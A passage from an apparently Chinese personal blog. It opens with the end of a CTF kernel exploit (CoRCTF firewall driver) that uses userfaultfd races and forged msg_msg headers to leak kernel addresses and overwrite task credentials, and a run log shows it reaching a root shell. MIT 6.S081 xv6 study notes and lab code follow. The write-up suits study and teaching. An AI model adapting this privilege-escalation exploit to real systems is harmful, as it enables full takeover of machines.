err_exit("[-] pthread_create");
return;
}
// handler1(): put forged data on (page_1+0x1000), QID #2's msg.
void* handler_write_msg(void *arg)
{
struct uffd_msg msg1;
unsigned long uffd = (unsigned long)arg;
puts("[+] handler_write_msg created");

struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
err_exit("[-] Wrong pool return value");

if (read(uffd, &msg1, sizeof(msg1)) != sizeof(msg1)) // 从uffd读取msg结构,虽然没用
err_exit("[-] Error in reading uffd_msg");
assert(msg1.event == UFFD_EVENT_PAGEFAULT);
if (msg1.arg.pagefault.address == (page1 + page_size))
{
printf("[*] page fault 1 at page1+0x1000\n");
char buffer[0x2000]; // 预先设置好buffer内容,往缺页处进行拷贝
memset(buffer, 0, sizeof(buffer));
msg_header fake_msg_header;
fake_msg_header.m_type = 1;
fake_msg_header.m_ts = 0x1000;
fake_msg_header.next = current_task+0x538-0x8;
memcpy(buffer+0xfd0-0x8, (void *)&fake_msg_header, sizeof(msg_header)); // msg_msgseg.next - 8 bytes (we should skip this 8 bytes)
// memset(buffer,0x61,0x2000);
struct uffdio_copy uc;
uc.src = (unsigned long)buffer;
uc.dst = (unsigned long)page1+page_size; // (unsigned long) msg1.arg.pagefault.address & ~(page_size - 1);
uc.len = 0x1000;
uc.mode = 0;
uc.copy = 0;
while (1)
{
// printf("asdf\n");
if (is_write_msg)
{
ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
printf("write msg ok\n");
return 0;
}
}
}

return 0;
}
void* handler_write_task(void *arg)
{
struct uffd_msg msg1;
unsigned long uffd = (unsigned long)arg;
puts("[+] handler_write_task created");

struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready != 1) // 这会一直等待,直到copy_from_user/copy_to_user访问FAULT_PAGE
err_exit("[-] Wrong pool return value");

if (read(uffd, &msg1, sizeof(msg1)) != sizeof(msg1)) // 从uffd读取msg结构,虽然没用
err_exit("[-] Error in reading uffd_msg");
assert(msg1.event == UFFD_EVENT_PAGEFAULT);

if (msg1.arg.pagefault.address == (page2 + page_size))
{

printf("[+] page fault 2 at page2+0x1000\n");
is_write_msg = 1; // wait for page fault 1
sleep(1);
// pthread_join(td[0],NULL);
printf("[*] msg next write is ok\n");
char buffer[0x2000];
*(size_t *)(buffer+0x1000-0x30)=init_cred;
*(size_t *)(buffer+0x1000-0x30+8)=init_cred;

struct uffdio_copy uc;
uc.src = (unsigned long)buffer;
uc.dst = (unsigned long)page2+page_size; // (unsigned long) msg1.arg.pagefault.address & ~(page_size - 1);
uc.len = 0x1000;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user
}
printf("write task ok\n");
printf("\e[40;33m debug\e[0m\n");
add_rule(fd,3,INBOUND);
return 0;
}
int find_current_task(){
pid_t pid;
msg_header fake_msg_header;
char re_buf[0x2000];
current_task=init_task;
fake_msg_header.ll_next=(void *)0x4141414141414141;
fake_msg_header.ll_prev=(void *)0x4242424242424242;
fake_msg_header.m_type=1;
fake_msg_header.m_ts=0x2000;

fake_msg_header.next=current_task+0x290;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
get_msg(msg_id[0],re_buf,0x2000,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
pid=*(int *)(re_buf+(0x1000-0x30)+0x8+0x100);
prev_task=*(size_t *)(re_buf+(0x1000-0x30)+0x8+0x8)-0x298;
printf("\e[40;32m pid:%d getpid:%d \e[0m\n",pid,getpid());
while(pid!=getpid()){
current_task=prev_task;
fake_msg_header.next=current_task+0x290;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
get_msg(msg_id[0],re_buf,0x2000,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
pid=*(int *)(re_buf+(0x1000-0x30)+0x8+0x100);
prev_task=*(size_t *)(re_buf+(0x1000-0x30)+0x8+0x8)-0x298;
printf("\e[40;32m pid:%d getpid:%d \e[0m\n",pid,getpid());
}
}

void get_page_msg_next(){

*(size_t *)(page1+0x1000-0x8)=0x1;
send_msg(msg_id[2],page1+0x1000-0x8,0x2000-0x8-0x30,IPC_NOWAIT);
}

void get_page_msg(){
*(size_t *)(page2+0x1000-0x8)=0x1;
printf("get_page_msg\n");
send_msg(msg_id[2],page2+0x1000-0x8,0x1000-0x30+0x10,IPC_NOWAIT);
}

int main(){
size_t re_buf[0x2000/8]={0};
fd=open("/dev/firewall",O_RDWR);
if(fd<0){
err_exit("open firewall fail");
}
msg_id[0]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[1]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
msg_id[2]=make_queue(IPC_PRIVATE,0666|IPC_CREAT);
user_msg *msg=(user_msg *)malloc(0x2000);
page1=(char *)mmap(0x200000,0x3000,PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
page2=(char *)mmap(0x300000,0x3000,PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if((!page1)||(!page2)){
err_exit("mmap fail");
}
register_userfault(page1+0x1000,0x1000,handler_write_msg,&td[0]);
register_userfault(page2+0x1000,0x1000,handler_write_task,&td[1]);
for(int i=10;i<16;i++){
add_rule(fd,i,INBOUND);
}
add_rule(fd,0,INBOUND);
dup_rule(fd,0,INBOUND);
del_rule(fd,0,INBOUND);
msg->mtype=1;
memset(msg->mtext,0x61,0x1000);
send_msg(msg_id[0],msg,0x10,IPC_NOWAIT);
memset(msg->mtext,0x62,0x1000);
send_msg(msg_id[1],msg,0x10,IPC_NOWAIT);
memset(msg->mtext,0x63,0x1000);
send_msg(msg_id[1],msg,0x1fc8,IPC_NOWAIT);

msg_header fake_msg_header;
fake_msg_header.ll_next=(void *)0x4141414141414141;
fake_msg_header.ll_prev=(void *)0x4242424242424242;
fake_msg_header.m_type=1;
fake_msg_header.m_ts=0x2000;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,0);
get_msg(msg_id[0],re_buf,0x2000,0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
for(int i=0;i<0x2000/0x8;i++){
if(re_buf[i]){
printf("[*] %p\n",re_buf[i]);
}
if((!strncmp(&re_buf[i],"bbbbbbbbbbbbbbbb",0x10))&&(!queue)){
queue=re_buf[i-5];
page_msg=re_buf[i-6];
}
if(((re_buf[i]&0xffff)==0x1520)&&(!kernelbase)){ //error_injection_list
kernelbase=re_buf[i]-0xc41520;
init_task=kernelbase+0xc124c0;
init_cred=kernelbase+0xc33060;
}
if(queue&&kernelbase){
break;
}
}
printf("\e[40;32m msg_queue_addr:%p \e[0m\n",queue);
printf("\e[40;32m page_msg_addr:%p \e[0m\n",page_msg);
printf("\e[40;32m kernelbase_addr:%p \e[0m\n",kernelbase);
printf("\e[40;32m init_task_addr:%p \e[0m\n",init_task);
printf("\e[40;32m init_cred_addr:%p \e[0m\n",init_cred);
if((!queue)||(!kernelbase)){
err_exit("get queue fail or kernelbase fail");
}
find_current_task();
printf("\e[40;32m current_task_addr:%p \e[0m\n",current_task);

//1.先釋放4K的msg
get_msg(msg_id[1],re_buf,0x10,0,IPC_NOWAIT | MSG_NOERROR);
get_msg(msg_id[1],re_buf,0x1fc8,0,IPC_NOWAIT | MSG_NOERROR);

//2.然後再把他們申請回來,並且通過userfault卡住

pthread_create(&td[2],NULL,get_page_msg_next,NULL);
sleep(1);
//3.然後再把msg的段通過我們控制的msg給釋放掉
fake_msg_header.ll_next=queue;
fake_msg_header.ll_prev=queue;
fake_msg_header.m_type=1;
fake_msg_header.m_ts=0x10;
fake_msg_header.next=page_msg;
edit_rule(fd,&fake_msg_header,0,OUTBOUND,1);
get_msg(msg_id[0],re_buf,0x10,0,IPC_NOWAIT | MSG_NOERROR);
//4.然後再把釋放掉的msg的段申請回來,這次他是msg了,並且再次通過userfault卡住
pthread_create(&td[3],NULL,get_page_msg,NULL);
pthread_join(td[0],NULL);
pthread_join(td[1],NULL);
pthread_join(td[2],NULL);
pthread_join(td[3],NULL);
printf("uid:%d\n",getuid());
system("/bin/sh");
}

有概率成功,主要是越界读的slab的内容不可控,可能能读到可能读不到,应该和slab的freelist的随机化有关。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ctf@CoRCTF:/$ /myexp
msg_queue_addr:0xffffa041855bf6c0
page_msg_addr:0xffffa041855c1000
kernelbase_addr:0xffffffff9ea00000
init_task_addr:0xffffffff9f6124c0
init_cred_addr:0xffffffff9f633060
pid:0 getpid:86
pid:86 getpid:86
current_task_addr:0xffffa04186128ac0
[+] handler_write_task created
[+] handler_write_msg created
[*] page fault 1 at page1+0x1000
get_page_msg
[+] page fault 2 at page2+0x1000
write msg ok
[*] msg next write is ok
write task ok
debug
uid:0
root@CoRCTF:/# id
uid=0(root) gid=0(root)

总结

利用msg进行越界读和任意读还是很好用的,但注意得开启MSG_COPY,但是通过msg进行任意写还得配合userfault,但在高版本中只有root用户才能使用userfault,所以感觉利用msg进行任意读在真实场景中不好实现的。

思考

在本题的利用中,除了uaf以外还提供了写接口,我在想是否继续压缩条件,不使用这个写接口,而是通过把这个uaf转化成一个doublefree然后使用一个通解完成利用,我在其他博客中见到过类似思路,感觉是可行的,试试看。

mit6.s081

前言

在学习了一段时间的kernelpwn后,发现自己对于操作系统理解的还是十分浅薄,遂想浅浅深入学习一下,然后从a3大佬得知mit的操作系统课程十分之好便下定决心跟着过一遍,本来是想学习mit6.828的,但不管教材还是视频全是洋文,而我的洋文能力着实有限,幸好我找见了mit6.s081版,也在网上找见了翻译版,还有诸多博客可以答疑,感觉可行,那就开干!

准备

git

课程使用的是git进行代码管理和版本控制的,可笑我到目前为止只熟悉git close,所以再开始之前得了解一下git的命令。

看了几个小时,大概能使用了。

RSIC-V指令集

……此处省略好多字

环境准备

我使用的是最新的ubuntu22,其实完全不用搜什么搭建环境教程的,课程的网页已经非常清楚了(他推荐的是ubuntu20.4),按照它所述一步一步来就好了,可惜我意识到这一点的时候已经浪费了一两个小时了

准备完环境最激动人心的就是实验调试环境解了,调试我参考的是这篇文章qemu xv6 使用GDB调试 - xistor’s notes

image-20220806173357404

我在ls上下了断点,可见成功截住了。

从这篇文章中了解到了关于/.gdbinit文件的使用,可以向这个文件中写入gdb命令,当gdb执行的时候会在当前用户的主目录下寻找.gdbinit文件然后执行其中的命令,当你想要gdb执行不在当前用户的主目录下的.gdbinit的时候,可以在`/.gdbinit文件中导入,例如add-auto-load-safe-path /home/x/xv6-labs-2021/.gdbinit,这样做的话调试的时候就非常方便了,只需要键入gdb-multiarch`就可以直接设置架构并连接qemu了。

Lecture

Lecture1

讲了一点操作系统大体作用以及结构,然后通过几个例子示范了系统调用,其中比较有收获的是fork+exec两个系统调用的搭配可以在子进程重新载入一个新程序,所以原来的子进程被完全取代,一般情况下exec函数不会返回。值得注意的是exec()后的程序的文件描述符并没有重置,还是和源程序一样,利用这个特性可以完成一些骚操作。

总体比较简单。这节课有课后实验,我看课程介绍好像可以在本地测试自己的实验并打出分数,吆西,明天看看怎么整。

Lecture3

隔离性:操作系统提供进程和进程之间的墙隔离以及进程和硬件资源的强隔离,隔离的手段是进行抽象,提供系统调用接口。

防御性:首先得具有错误处理能力,如果用户态进程使用系统调用的时候传入了错误的参数,内核得具有处理这种错误的能力,其次是应用程序不能破坏隔离性,这里的隔离指进程和内核的隔离,想要实现这种隔离性得需要硬件支持,比如内核模式和用户模式以及虚拟内存。

user/kernel:当cpu运行在kernel模式中就会拥有执行特权指令的权限,特权指令指直接操作硬件的指令,相对的运行在user模式只能执行非特权指令,当user模式下执行特权指令时cpu并不会真正去执行,而是从user跳到kernel,内核获得cpu控制权,然后让内核判断user是否出现了问题是否改杀死。

user->kernel:有专门的的一个指令可以从user到kernel,在x86下是syscall,在本次课程中的risc-v中是ecall,系统调用号存储在a0寄存器中。

宏内核&微内核:相比起宏内核,微内核的诸多服务都运行在user模式,在普通进程想要使用这些服务的时候通知内核,内核再通知服务,这样会导致User和kernel的切换比较频繁。

Lecture4

对虚拟内存的看法

在我看来虚拟内存主要有两点,一点是完美的进程隔离,每个进程都有自己的页表,不会访问到其他进程的页表,二是不直接操作物理内存,也就是硬件,会比较好的保护硬件

risc-v虚拟内存简单理解:和x86很类似,也有一个mmu路由对cpu想要访问的虚拟地址进行翻译,翻译成物理内存,stap寄存器就存放着进程的页表的物理地址,也表中就存放着虚拟内存到物理内存的映射,mmu就通过访问stap来进行翻译

页表设计

在xv6操作系统中虚拟地址的前25位并没有被使用,所以尽管寄存器是64位,物理地址是56位,但其寻址空间还是2^39,在这39位中前27位是索引,后12位是偏移。

xv6的页表设计是采用三级页表的,不像x86的四级页表,之所以采用三级页表,是因为一个页表占用4k,每一个页表项所占用的内存是2^3,所以一个页表可以有2^9个页表,27/9=3,所以三个页表就完全够映射所有的索引了。

image-20220824152319391

每一个页表项是64位其中最高的10位并没有被使用,因为没必要,然后后44位记录页编号(因为一共只有2^44个页),然后后10位记录一些标志,用来标识这个页表项。

image-20220824153329033

TLB

采用三级页表的话得到一个具体的物理地址就需要访问访问内存三次,这是非常昂贵的,所以就像x86有缓存一样,xv6也有缓存,也叫作TLB,储存着最近访问的虚拟地址到物理地址之间的映射。

在xv6操作系统中似乎还没有实现多个进程使用同一个TLB,所以当切换进程的时候也需要刷新TLB防止映射出错。TLB还是一个硬件,并不由操作系统具体控制。

虚拟地址分布和物理地址分布

物理内存的分布都是有设计者控制的,并不由操作系统控制,在物理内存下面的那些位置并不是真实存在于内存中的,而是一种映射,比如中断或者io什么的。

为了让xv6操作系统能够比较简单简约,虚拟地址都是采用恒等映射的。

image-20220824160019857

上面的虚拟地址分布似乎只是内核虚拟地址分布,内核会在free memory中为进程分配空间,下面是进程的虚拟地址分布

image-20220824164115781

Lecture5

本节课程主要是讲解risc-v

在gdb中输入tui enable就能进入一个界面,在界面中输入layout asm或者layout reglayout src就能查看汇编或者寄存器的值或者源代码了。如果想要聚焦某个窗口就可以输入focus xxx

终于学会了怎么自动开多个shell平铺到桌面了,首先输入tmux,打开一个shell,在打开一个shell就是先同时按ctrl+b然后单独按c,然后可以使用ctrl+b+p/n来切换shell窗口,可以使用ctrl b+shift+%切出新窗口,然后使用ctrl+b+o来切换窗口。

使用bt可以查看调用栈

条件断点命令b xxx if i==5

寄存器表

a0a7可以存放函数调用参数,a0a1可以存放返回值

image-20220901133841549

risc-v的函数调用

和记忆中mips的函数调用很类似,risc-v中有一个寄存器专门用来记录这个函数的返回地址,当执行ret的函数,就会把pc指向ra寄存器保存的地址,但是ra寄存器只有一个,但是函数a可以调用函数b,当执行函数b的时候,ra寄存器指向函数b的返回值,但是函数b也可以调用函数c,当执行函数c的时候ra保存函数c的返回值,当返回到函数b的时候,ra还是指向了函数c的返回值,这样就会造成死循环了,所以risc-v就有一个策略,当指向非叶子函数(也就是这个函数还会调用其他函数),就会把ra保存到栈里,当函数返回的时候先把栈里的返回地址加载到ra中再执行ret指令,当执行叶子函数的时候,就不会在栈里保存ra寄存器了,当执行ret的时候直接加载ra寄存器。

image-20220901210847634

Lecture6

在内核态的时候权限提升主要体现在两点,一点是可以读写控制寄存器,第二点是可以可以使用没有pte_u的页表。

这是sh程序的页表,可以清晰的看见虚拟地址到物理地址的映射,比较有收获的就是,设置了u权限的页表,用户态才可以使用,其次是陷阱帧trapframe虽然每个进程都有自己的一份,但是所有进程的虚拟地址都是一样的#define TRAPFRAME (TRAMPOLINE - PGSIZE)

image-20220906160934534

在执行ecall的时候会关闭中断,这样就不会发生进程切换了,然后在执行sret的时候又会打开中断,如果不进行其他操作,当用户态程序陷入内核态的时候并不会发生进程切换,但是这样做并不适合所有情况,当进行系统调用的时候就可以进程切换,打开中断和关闭中断的函数分别是intr_on()intr_off(),当执行完系统调用的时候又会关闭中断。

Lecture8

页面错误(page faults)

其实可以利用页面错误配合虚拟内存来完成好多有意思的事情,比如说fork的写时复制或者惰性分配。

在发生页面错误时我们可以知道三个信息,首先是错误地址,得知道错误地址才能去处理他,这个错误地址就保存在stval寄存器中,第二点就是得知道页面错误的类型,这个类型就存储在scause寄存器中。第三件点得知道引起页面错误的指令的虚拟地址,这个地址就存储在sepc中。

image-20220908204934721

惰性分配

惰性分配实际就是一个空头支票,并不分配物理内存和映射,而是先增大p->sz,当使用这段内存的时候才根据scause的值确定页面错误类型然后分配内存并且映射,所以在srbk中并不需要映射,而是增大p->sz的值就可以了,大概思路如下图代码,比较好理解

image-20220908210855042

但是这样又会导致另一个错误,当惰性分配后,可能的情况就是有些真的分配了,有的没有分配,当释放这个进程的内存的就是后就会发生如下bug

image-20220908211459524

简单的解决方案就是释放进程内存的时候条件放的宽松一点,原本的uvnunmap是如果检测到了不存在的映射直接panic,我们可以修改成continue

image-20220908211750910

很熟悉的bss段也可以利用惰性分配,类似下图,先让bss全部映射到一个只有读权限的页面,当有一个地址想要写入内容的时候就会触发页面错误,进而可以给他分配一个新的页面。image-20220908213940714

COW

copy on write,也就是fork的写时复制技术,当fork的时候,把父子进程都映射到原先父进程的物理内存上,但是他们都是r

image-20220908221824481

然后当子进程想要在这段内存中写入内容时就会发生页表错误,然后可以重新申请一个页面,把发生错误的页面的内容复制到新申请的页面上,然后把这个页面映射到子进程中,原先错误的虚拟地址就指向了这个新的页面,然后把父进程的权限变成rw,然后重新执行发生页面错误的指令。

但是如果使用往一个只读页面中写入内容来判断是否是写时复制其实是不准确的,因为有些页面本来就是只读内容,这样就会破坏这些页面的内容了。在pte中还存在一位叫做RSW,可以把这一位设置成是否是cow页面的标志。

上述的cow策略并不完美,当一个父进程fork了多个子进程之后,父进程exit的话显然不能直接释放父进程的页面,因为所有子进程都指向这些页面,所以得给每个页面加个引用计数,当计数为0的时候才会真正释放这个页面。

按需分配

按需分配是内存扩展的精髓,当在内存中加载文件时并不是全部都加载进去,而是按需加载,然后当内存用完之后再驱逐一些近期不用的页面腾出空间。

Lecture9

book read

这一节是关于中断的,以前总是对中断模模糊糊的,不是很清楚,通过阅读本节内容和网上的资料,终于对中断有了一个较为清晰的概念了。

中断其实就是在CPU正在做某件事的时候,收到了通知告诉CPU你要放下手头现在做的事,去处理另一件事(当然这个是立即处理还是过一会处理以及如何处理取决于中断的类型)。可以先把中断分为两种,一种是外部中断,一种是内部中断。

外部中断也叫硬件中断,由硬件向cpu发出中断信号,然后cpu停下来处理这个中断,此时cpu是知道是那个设备发出的中断的,有个中断号,然后根据这个中断号调用对应的中断驱动程序对这个中断完成处理,这样一看cpu就像一个后端一样,根据请求信息处理对应事件。

内部中断就是指cpu内部出现的中断,系统调用就是内部中断。

课程内容

当通上电以后,设备也是在运行的,cpu也是在运行的,两个可以说是在并行运行,既然是在并行运行,就需要处理两者之间的同步性问题,而中断就可以处理这个问题。

PCLI是cpu内部的一个模块,是对外部设备中断的管理者,

image-20220920231732880

驱动程序分为上下两部分,下半部分是中断处理程序,上半部分在我看来是缓存区,比如uart设备的可以把接收或者发送的字符串放在上半部分,然后就可以完成了设备和cpu的解耦。

image-20220920233006328

$ ls的工作过程,看的不是很懂,关于uart的部分。

后续,稍微理解了uart,他是一个用于辅助计算机和设备通信的芯片,当计算机向设备发送数据的时候,通过uart串口把字节转换成一位一位的,然后设备把一位一位的数据传递给计算机的时候,通过uart串口把一位一位的数据转化成字节流传递给计算机。

打印$的流程就是先把$放入到uart的一个寄存器中,然后产生一个中断,把储存的字符发送到另一个uart中,这个uart链接到了虚拟控制台。

发送ls时,首先键盘会把字符发送到与之链接的uart上,然后uart发送数据到另一个uart上,这个uart拿到数据后就会产生一个中断,告诉计算器键盘输出了字符。

image-20220921001534980

当中断要被某一个cpu处理的时候,这个cpu对应寄存器的变化如下

image-20221005194949276

中断有点难理解,课上的内容半懂不懂的,有时间看看源码再理解一下吧。

Lecture10

这节课的主要内容是锁

需要锁的主要原因就是cpu是多核的,每个核都可能有一个程序流,这些程序流可能访问同一个共享数据,内核中就有很多全局数据结构,当多个进程在不同核心上运行然后同时进入系统调用就可能发生同时访问共享数据的问题。总而言之就是解决并行性系统中访存共享数据的问题。

锁会序列化操作,即可以控制并行系统关于同一个共享数据的访问顺序,通一个时刻内,只有一个核可以访问共享数据段,当然,这势必会造成性能损失。

比如freelist就可能造成条件竞争。

image-20221010104133931

在xv6中关于锁主要有两个函数调用acquire()release(),第一个函数是获得锁,第二个函数是释放锁。

锁可以有粗粒度锁和细粒度锁

锁可以解决条件竞争的问题,但是也会带来自己的问题,也就是众所周知的死锁问题。

image-20221011001902538

加锁这个过程必须是原子序列的,在xv6中,使用的是amoswap指令完成加锁,原理就是amoswap会对addr这个地址加锁,然后执行完后面三个后再解锁,最后判断r2的值来判断是否获得锁了。如果等于0就是获得锁,如果等于1就是没有获得锁,秒啊。

image-20221011010830326

老师提到的一个解决死锁问题的办法是把所有锁进行一个排序,然后进程获得多个锁的时候就按照这个顺序来获取,这样确实可以避免比较典型的死锁问题。但是排序问题似乎也很麻烦,需要一个好的策略。

锁对性能肯定会造成损失,要想尽可能不造成损失,只能尽可能对把共享数据结构细化,然后锁就能尽可能的细粒度,性能就能损失的尽可能少,但是这是非常复杂的,系统越大越不好实现,老师给出的观点是先使用粗粒度的锁,然后看有没有条件竞争,再细化锁。

所有核心想要进行内存操作都会经过一个内存控制器,硬件锁就是利用此完成对特定地址加锁,让执行几步操作后对此解锁。

Lecture11

book-read

上下文切换

image-20221011163736314

每个cpu都有自己的调度程序线程以及调度程序栈,其上下文保存在cpu->context中,当shell进程切换到cat进程的时候,首先在shell的内核线程中调用yield()函数

1
2
3
4
5
6
7
8
9
void
yield(void)
{
struct proc *p = myproc();
acquire(&p->lock);
p->state = RUNNABLE;
sched();
release(&p->lock);
}

先把当前进程的状态位改成RUNNABLE,然后调用sched()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void
sched(void)
{
int intena;
struct proc *p = myproc();

if(!holding(&p->lock))
panic("sched p->lock");
if(mycpu()->noff != 1)
panic("sched locks");
if(p->state == RUNNING)
panic("sched running");
if(intr_get())
panic("sched interruptible");

intena = mycpu()->intena;
swtch(&p->context, &mycpu()->context);
mycpu()->intena = intena;
}

主要就是调用了swtch()函数来保存上下文并恢复调度线程上下文,执行调度线程。

swtch中主要就是sd和ld,当最后执行ret的时候就返回到了调度程序线程上下文了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
000000008000267a <swtch>:
8000267a: 00153023 sd ra,0(a0)
8000267e: 00253423 sd sp,8(a0)
80002682: e900 sd s0,16(a0)
80002684: ed04 sd s1,24(a0)
80002686: 03253023 sd s2,32(a0)
8000268a: 03353423 sd s3,40(a0)
8000268e: 03453823 sd s4,48(a0)
80002692: 03553c23 sd s5,56(a0)
80002696: 05653023 sd s6,64(a0)
8000269a: 05753423 sd s7,72(a0)
8000269e: 05853823 sd s8,80(a0)
800026a2: 05953c23 sd s9,88(a0)
800026a6: 07a53023 sd s10,96(a0)
800026aa: 07b53423 sd s11,104(a0)
800026ae: 0005b083 ld ra,0(a1)
800026b2: 0085b103 ld sp,8(a1)
800026b6: 6980 ld s0,16(a1)
800026b8: 6d84 ld s1,24(a1)
800026ba: 0205b903 ld s2,32(a1)
800026be: 0285b983 ld s3,40(a1)
800026c2: 0305ba03 ld s4,48(a1)
800026c6: 0385ba83 ld s5,56(a1)
800026ca: 0405bb03 ld s6,64(a1)
800026ce: 0485bb83 ld s7,72(a1)
800026d2: 0505bc03 ld s8,80(a1)
800026d6: 0585bc83 ld s9,88(a1)
800026da: 0605bd03 ld s10,96(a1)
800026de: 0685bd83 ld s11,104(a1)
800026e2: 8082 ret

这个是scheduler函数,切换上下文后,就会执行swtch的下一条语句了,比较饶的就是获得锁和释放锁应该是一个进程干的事情,但是在调度的时候并不是这样,首先在yield中获得锁,然后在scheduler释放锁,目的保护进程不被其他cpu调度。看似形不成一个闭环,但其实是可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void
scheduler(void)
{
struct proc *p;
struct cpu *c = mycpu();

c->proc = 0;
for(;;){
// Avoid deadlock by ensuring that devices can interrupt.
intr_on();

int nproc = 0;
for(p = proc; p < &proc[NPROC]; p++) {
acquire(&p->lock);
if(p->state != UNUSED) {
nproc++;
}
if(p->state == RUNNABLE) {
// Switch to chosen process. It is the process's job
// to release its lock and then reacquire it
// before jumping back to us.
p->state = RUNNING;
c->proc = p;
swtch(&c->context, &p->context);

// Process is done running for now.
// It should have changed its p->state before coming back.
c->proc = 0;
}
release(&p->lock);
}
if(nproc <= 2) { // only init and sh exist
intr_on();
asm volatile("wfi");
}
}
}

xv6为每个cpu准备了一个struct cpu,这个结构体里就会记录着这个cpu当前运行的proc等等,所有的struct cpu保存在一个数组里,利用当前cpu的tp寄存器的值进行索引。

sleep/wakeup

生产者是一个线程,消费者是一个线程,两个线程之间得需要一个同步机制来协调,比如生产者生产一个产品,消费者才能消费一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct semaphore {
struct spinlock lock;
int count;
};

void V(struct semaphore* s) {
acquire(&s->lock);
s->count += 1;
release(&s->lock);
}

void P(struct semaphore* s) {
while (s->count == 0)
;
acquire(&s->lock);
s->count -= 1;
release(&s->lock);
}

这个代码没问题,但是对于消费者来说,如果生产者没有生产的话,那就得一直自旋,十分浪费cpu资源,当引进同步机制后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void V(struct semaphore* s) {
acquire(&s->lock);
s->count += 1;
wakeup(s);
release(&s->lock);
}

void P(struct semaphore* s) {
acquire(&s->lock);

while (s->count == 0)
sleep(s, &s->lock); // !pay attention
s->count -= 1;
release(&s->lock);
}

这样即考虑了cpu资源还考虑了条件竞争。

pipe就是利用锁和sleep/wakeup实现的,exit/wait也是。

总而言之,锁这块原理不绕,但是使用起来好绕啊。

课程内容

主要讲解thread switch

终于知道了定时器中断是个什么董熊了,每个核心都有一个定时器,这个定时器周期性的发出一些中断,这些中断就是定时器中断,所以就算程序没有主动陷入内核,在定时器发生的时候还是会陷入,此时就可以记录程序运行时长和是否切换程序的工作了。

在发生计时器中断的时候,内核处理程序就可以让出cpu给调度器,然后调度器切换线程,在xv6中,让出靠的是yields()函数。

进程之间的切换并不是从这个进程的直接切换到另一个进程的,而是从这个进程的内核线程(线程1)中切换到另一个进程的内核线程(线程2)中,然后在线程2中再自然返回到对应进程中(进程2)。

image-20221011154315913

Lecture13

这节课主要讲解了sleep和wakeup,这是一种常见的协调机制。

image-20221020144559437

当sleep/wakeup不使用锁作为参数的话实现伪代码如上图,如果使用这种sleep/wakeup的话就会造成严重的lost wakeup问题,例子如下

image-20221020150533008

uartwrite释放锁之后,中断线程就开始执行了,因为是多核心,所以就会造成一种局面,wakupslepp提前执行,导致sleep的线程没有人去唤醒了。这就是lsot wakeup

我以为处理办法是让释放锁和睡眠是原子的就好了,但是xv6并不是这样实现的,而是使用p->lock,这样也达到了效果。

老师对wait函数也进行了讲解,才明白过来其实子进程的资源回收并不是由子进程自己完成的,而是对自己状态进行标注为可以回收,然后父进程调用wait()的时候检查子进程然后回收。(当然不可能自己回收自己)。

Lecture14

这节课主要是文件系统的讲解

LAB

Lab1: Xv6 and Unix utilities

这个实验主要是熟悉xv6的系统调用接口的。

sleep

1
2
3
4
5
6
7
8
9
10
11
#include "kernel/types.h"
#include "user/user.h"

int main(int argc,char *argv[]){
if(argc!=2){
fprintf(2,"your parameter is not number\n");
exit(1);
}
sleep(atoi(argv[1]));
exit(0);
}

pingpong

利用pipe完成父子进程之间双向通信,刚开始没理解透pipe,只用了一个管道,发现怎么都不对,看了别人的代码才恍然大雾,pipe只能完成单向通信,双向肯定得要两个管道啊,不过我错误那一版骗过了lab检查程序,乐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include "kernel/types.h"
#include "user/user.h"
#define rd 0
#define wt 1
int main(int argc,char *argv[]){
int p_to_child[2];
int p_to_parent[2];
char buf[10];
pipe(p_to_child);
pipe(p_to_parent);
int pid=fork();
if(pid<0){
fprintf(2,"fork fail\n");
exit(1);
}
if(pid==0){
close(p_to_child[wt]);
close(p_to_parent[rd]);
int ret=read(p_to_child[rd],buf,1);
if(ret<=0){
fprintf(2,"read fail\n");
exit(1);
}
fprintf(1,"%d: received ping\n",getpid());
ret=write(p_to_parent[wt],"1",1);
if(ret<=0){
fprintf(2,"write fail\n");
exit(1);
}
close(p_to_child[rd]);
close(p_to_parent[wt]);
exit(0);
}else{
close(p_to_child[rd]);
close(p_to_parent[wt]);
int ret=write(p_to_child[wt],"1",1);
if(ret<=0){
fprintf(2,"write fail\n");
exit(1);
}
ret=read(p_to_parent[rd],buf,1);
if(ret<=0){
fprintf(2,"read fail\n");
exit(1);
}
fprintf(1,"%d: received pong\n",getpid());
close(p_to_child[wt]);
close(p_to_parent[rd]);
exit(0);
}
}

primes

这个程序还是比较麻烦的,要求利用fork和管道完成对素数的筛选,理论如下

image-20220807185230278

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include "kernel/types.h"
#include "user/user.h"
